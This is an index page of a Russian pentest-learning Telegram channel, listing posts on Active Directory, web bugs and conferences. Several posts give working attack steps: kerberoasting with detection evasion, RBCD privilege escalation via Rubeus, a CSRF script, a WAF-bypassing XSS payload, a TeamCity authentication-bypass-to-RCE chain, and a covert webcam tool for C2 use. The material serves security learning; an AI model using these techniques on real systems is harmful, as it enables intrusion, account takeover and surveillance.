tgindex

Monkey Hacker

описание

Мартышка просто хочет научиться пентестить

783
подписчиков
Охват к подписчикам
343,3%
ERR
Реакции к просмотрам
0,42%
226 на 20 постов
Пересылки к просмотрам
1,43%
767
Постов в день
0,0
всего 20

Где отзываются чаще

доля реакций к просмотрам
  • 31 дек. 2023 г.Пора и мне сказать что-то ✨ В этом году я очень старался повысить свои навыки, а вы могли наблюдать тем, что я балансировал между разными темами в своих постах. С одним автором другого ИБ-канала я общался и обсуждал рынок ИБ, другие авторы меня вдохновляли, направляли и просто показывали свои находки, ресерчи и наработки. По активностям год был веселый. На PHD, я сидел и тыкал IDS Bypass, помогал в проведении OFFZONE 2023, ну и Standoff 12 тоже не прошел мимо. Надо попробовать быть более активным в следующем году. 🎧 Было хорошо? Не знаю, но думаю, что я нашел курс своего развития, где-то на ближайшие полгода. Под конец года, постов стало меньше, т.к задач по работе было не мало, да и учеба тоже дает знаки о себе. В завершении скажу, что все молодцы! Пусть каждый отдохнет на праздниках, пусть каждый будет получать удовольствие от своего дела, пусть каждый будет здоровым! ✨ Счастье для всех, даром, и пусть никто не уйдет обиженный!1,45%
  • 27 дек. 2023 г.Мне как-то стало интересно, каким образом фиксируются манипуляции с Kerberos, поэтому решил порыть базовые вещи. Разбираться будем сегодня с TGS Rubeus.exe kerberoast /nowrap Мы можем видеть, что он отправляет следующий LDAP запрос (&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))) (samAccountType=805306368) - получаем доменных пользователей (servicePrincipalName=*) - получаем все SPN в домене (!samAccountName=krbtgt) - убираем из вывода krbtgt (!(UserAccountControl:1.2.840.113556.1.4.803:=2)) - смотрим, что УЗ не заблокирована. Тут уже начинается детект у многих. Вся проблема в servicePrincipalNames=*, который SOC ловит, т.к мы получаем список всех SPN. Лучше определить учетные записи с SPN и только потом делать уже запрос Rubeus.exe kerberoast /nowrap /user:svc_chat /spn:HTTP/sus.monkey.local Многие знают про некий даунгрейд тикета с AES на RC4. По факту, ничего не мешает сервисной учетке поддерживать RC4 и AES128/256 одновременно, поэтому мы можем запросить, запросить тикет не с AES, а с RC4, поэтому и сбрутать креды будет намного легче. В Rubeus с этим помогает флаг /tgtdeleg. Однако, в идеале тикеты и его содержимое мониторят. Попробуем немного углубиться в содержимое тикета, если конкретнее то в его флаги. Эти 32-битные флаги называют KDCOptions. Нормальным поведением является, если значение KDCOptions равно 0x40810000, однако при попытке поиграться с тикетами, мы можем заметить другое значение 0x40810010. Если их сравнивать, то можем понять, что нам надо избавиться от Renewable-OK, и с этим уже может помочь тулза Orpheus, которая подправит флаги. Интересным решением для обнаружения атак является использование фейковых УЗ с SPN, данный момент мне подчеркнул один из моих коллег. Обычно стоит обращать внимание на LastLogon, который может намекнуть на фальшивость УЗ. Ну и наличие высоких привилегий, тоже дает намек Bye-bye ✨0,88%
  • 24 авг. 2023 г.Всем, ку В этом году, на OFFZONE помогаю с бейджами. Надеюсь, что они работают хорошо и стабильно (хотя проблемы есть у некоторых)✨ Всем хорошо провести мероприятие 😇0,70%
  • 20 июн. 2023 г.Account Takeover via Microsoft OAuth Misconfiguration by descope nOAuth - это недостаток авторизации OAuth через Microsoft Azure AD. Был он найден командой descope Атака объединяет учетные записи пользователей без проверки, и дает полный контроль над учетной записью жертвы.0,68%
  • 28 авг. 2024 г.First hop, second hop Как-то увидел понятие Double Hop в Kerberos. Думал, что ничего в нем нет, но решился глянуть что это. 1. Клиент использует TGT для запроса TGS с которым пойдет к Server-A 2. Клиент с Server-A хочет пойти на Server-B, но ничего не получается 😺 Это происходит в Kerberos потому, что Server-A не имеет TGT-клиента и его креденшалы просто не кешируются. Поэтому не будет способа доказать, что попытка аутентификации является действительной. Используем PSExec и проблем не будет, т.к NTLM будет памяти. Однако представим, что PSExec нам не доступен и мы решили использовать WinRM. Но вот WinRM не даст нам коннекта, если мы попробуем запрыгнуть уже на второй хост, через первый, т.к кредов нет Попробуем использовать PSCredential, чтобы как-то просто ходить к Server-B PS C:\Users\sas\Documents> $SecPassword = ConvertTo-SecureString 'I_w@s_tir3d' -AsPlainText -Force PS C:\Users\sas\Documents> $Cred = New-Object System.Management.Automation.PSCredential('MONKEY\admin', $SecPassword) Не забываем применить это все, путем Register-PSSessionConfiguration 🕺 PS C:\Users\sas\Documents> Register-PSSessionConfiguration -Name admin -RunAsCredential MONKEY\admin PS C:\Users\sas\Documents> Restart-Service WinRM PS C:\Users\sas\Documents> Enter-PSSession -ComputerName TEST02 -Credential MONKEY\admin -ConfigurationName admin Теперь когда мы будем обращаться к Server-B, то никаких проблем не будет за счет предоставленных кред, а так же можем наблюдать наличие тикетов для нужных ресурсов. Еще почитать про это можно тут, тут и тут 😇0,61%
  • 8 апр. 2024 г.Kubectl apply Йо, сегодня я принес несколько ссылочек, где можно почитать про работу различных компонентов в k8s. К такой идее я пришел после того, как решил поизучать принцип работы Docker, и тут можно потыкать ссылочки про него ✨. У меня изначально появился интерес к куберовским namespace, которые по факту создают некую изоляцию кластеров (а эта изоляция предусматривает те же ограничения на API и т.п), ну и потом интерес пошел еще дальше. Подборка довольна скромная, но надеюсь, что кому-то будет интересно ✨ ▪️ Как работает K8S в общих чертах ▪️ Docker Containers vs. Kubernetes Pods ▪️ Kubernetes multi-container pods and container communication ▪️ Чуть потыкаться с сервисами ▪️ Почитать про RBAC можно тут, тут и тут ▪️ Accessing the Kubernetes API ▪️ Kubernetes namespaces isolation ▪️ Understanding service accounts and tokens ▪️ Kubernetes API Basics Плюс, если кому-то будет интересно, то тут есть мини туториал по containerd и как его тыкать0,55%
  • 9 окт. 2023 г.То, что уже не должно встречаться, но все еще встречается (#bb_tips?). Во время проекта наткнулся на функциональность изменения профиля. Ну и, понятное дело, не проверить CSRF было бы грехом. Однако, общение с бэкендом происходит через Rest с использованием Content-type: application/json. Это значит, что запрос будет сложным и значит, что легкого пути в эксплуатации CSRF быть не должно. Ведь так..? Не многие знают, но есть 1 способ, как можно сделать из сложного запроса простой. Вместо application/json ставим application/x-www-form-urlencoded, а тело запроса оставляем прежним :). Сразу хочется отметить, что burp не сгенерирует полезную нагрузку, поэтому вот сниппет, которым можно воспользоваться: <script> let req = new XMLHttpRequest(); req.open("POST", "https://vulnerable.host/api/profile/update", false); req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); req.withCredentials = true; var params = '{"first_name":"riven","last_name":"riven","birthday":"01/01/1337", "password":"pwned"}'; console.log(params); req.send(params); </script>0,49%
  • 16 сент. 2023 г.🦊 Про кастомные элементы в DOM Иногда бывает полезно посмотреть customElements.define() в библиотеках и внутреннем JS-коде. Эта функция регистрирует новые элементы DOM, и WAF свободно пропускает их. На скрине внизу показан стандартный JS для PyScript, в котором создается элемент <py-script>, что приводит к интересному байпасу: <py-script>'\74img/src/onerror\75alert(domain)\76'</py-script> Попробовать самостоятельно можно тут. #web #xss0,49%
  • 24 июл. 2023 г.📣Список импактов, которые можно получить от эксплуатации XSS Представьте вы нашли XSS, но если её сдать просто так, то вам вряд ли поставят высокий уровень угрозы. Тогда вам следует сначала понять какой максимальную урон вы можете воспроизвести с помощью найденной уязвимости. Чем понятнее вы опиши свой импакт, тем выше вероятность что вам заплатят больше и могут даже апнуть уровень угрозы. ⬇️XSS⬇️ * Change email -> password reset * Change password * Change phone -> SMS password reset * Change security questions * Add SSO login (login with GitHub, ect) * Force logout -> Session Fixation * Steal session token via non-HTTP only cookie * Steal session token via insecure embed in page * Steal API key for application * Add admin user to organization * Hijack oAuth flow and steal code * Steal SSO code to adjacent app, then reverse SSO back to main app * Add authentication method (SMS, email, etc) * Gain access to refresh token for JWT or session 📌Добавляйте свои варианты в комментариях и расшарьте по чатам багхантеров. Уверен, коллеги смогут добавить свои идеи :) #bugbounty Дневник Безопасника 🛡0,48%
  • 12 авг. 2023 г.Computer Object Takeover Завершая играться с AD, нашел достаточно интересный сценарий, связанный с абьюзом Generic Если в сетке есть пользователь с правами GenericWrite, то возможно зайти с повышенными привилегиями на другой тачке Данный сценарий возможен, т.к Generic позволяет изменять DACL 🔥 Для этого мы создаем новую учетку тачки. По дефолту параметр ms-DS-MachineAccountQuota позволяет всем пользователям домена добавлять до 10 учетных записей машин SID в принципе и сами можете вставить, но решил чуть облегчить процесс 🐈 New-MachineAccount -MachineAccount aboba -Password $(ConvertTo-SecureString 'Test@123' -AsPlainText -Force) $ComputerSid = Get-DomainComputer -Domain dev.domain.local aboba -Properties objectsid | select -Expand objectsid $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer dc02.domain.local | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} После этого можно использовать тот же Rubeus, для получения RC4-хэша. Rubeus.exe hash /user:aboba /password:Test@123 /domain:dev.domain.local И затем юзаем s4u для повышения своих привилегий за счет получения TGS Rubeus.exe s4u /user:aboba$ /rc4:4E35B802576F770E77851BAB9D4AE172 /impersonateuser:administrator /msdsspn:cifs/dc02.domain.local /ptt Для облегчения я юзал PowerMad и PowerView Bye-bye 🎧0,44%
  • 5 окт. 2023 г.Token that gives me power Наверно кто-то слышал про новую проблему в JetBrains TeamCity, связанная с RPC2 В целом стоит начать, что TeamCity используется для автоматизированной сборки и тестирования ПО. А он написан на Java Ребята нашли интересный дифф в методе XmlRpcController.getPathSuffix. Точнее был прикол, связанный с wildcard path. Плюс TeamCity использует фреймворк Spring, а там существует интерцептор, который позволяет модифицировать входящие HTTP-запросы (thx to riven). По этим и другим причинам, любой входящий HTTP-запрос, имеющий путь /**/RPC2, не будет подвергаться проверке аутентификации. А значит мы можем использовать API-ручки для получения токенов почти любых пользователей и для дальнейшего создания собственного юзера. /app/rest/users/<userLocator>/tokens/<tokenName> Отсюда мы имеем следующий сценарий Получаем токен администратора POST /app/rest/users/id:1/tokens/RPC2 С его помощью, мы теперь можем создать пользователя с админскими правами POST localhost:8111/app/rest/users -H "Content-Type: application/json" --data "{\"username\": \"monkey1\", \"password\": \"monkey\", \"email\": \"monkey\", \"roles\": {\"role\": [{\"roleId\": \"SYSTEM_ADMIN\", \"scope\": \"g\"}]}}" -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.eWaBWGhGSFBZVHB4WvAxNEptVmhQUkkxN0VF.MjhmYTY2MjUtNjZhNy00OTQ0LTk4LmItYzI1N2Q3MjIwMzE2" Но, мы можем пойти дальше и докрутить до RCE. Первым делом включаем дебаг (токен здесь также потребуется) POST /admin/dataDir.html?action=edit&fileName=config/internal.properties&content=rest.debug.processes.enable=true Не забываем все это применить к текущему конфигу POST /admin/admin.html?item=diagnostics&tab=dataDir&file=config/internal.properties И теперь мы имеем возможность исполнять команды POST /app/rest/debug/processes?exePath=id Не забываем удалять токен DELETE /app/rest/users/id:1/tokens/RPC20,43%
  • 12 июл. 2023 г.В выпуске «За кулисами Red Team» @Riocool упоминает, что на пентестах помимо скриншотов десктопа бывает сподручно делать снимки с веб-камеры на контролируемой рабочей станции, чтобы убедиться, находится ли юзверь в данный момент за ПеКа, либо же, к примеру, отлучился на свой закономерный обеденный перерыв. Раньше я не прибегал к подобному трюку, однако подсознательно часто испытывал потребность в такого рода проверках, ведь ворваться в GUI-сеанс определенного пользователя временами бывает просто необходимо. Поискав готовые решения в сети, стало очевидно, что «из коробки» капчурить вебку умеет только дедушка meterpreter, а встраивать поделки на плюсах в свои проекты для выполнения из памяти не всегда удобно. Еще немного погуглив, наткнулся на этот интересный пост на Медиуме, где в параграфе Webcam Capture упоминается некий скрипт MiniEye.ps1 от @xorrior, который якобы уже умеет делать все, что нам нужно (ссылка на скрипт из статьи отдает 404, инструмент переехал в корень репозитория – Get-DXWebcamVideo.ps1). Подход основан на использовании .NET-библиотеки DirectShowNET и обвязки для нее DirectX.Capture, блог автора которой на CodeProject также рекомендую к прочтению: 🗒 DirectX.Capture Class Library В свободное время было решено переписать Get-DXWebcamVideo.ps1 на фреймворк, чтобы не возиться лишний раз с запуском повершелла. Смержив зависимости с помощью dnMerge, можно получить standalone-сборку, готовую для выполнения из вашего любимого агента C2: 👨‍💻 https://github.com/snovvcrash/SharpDXWebcam ⚠️ Помним, что инструмент предназначен исключительно для образовательных целей и кейсов этичного тестирования на проникновение в рамках контракта, а блэчить плохо! Всем остальным – happy (ethical) hacking!0,41%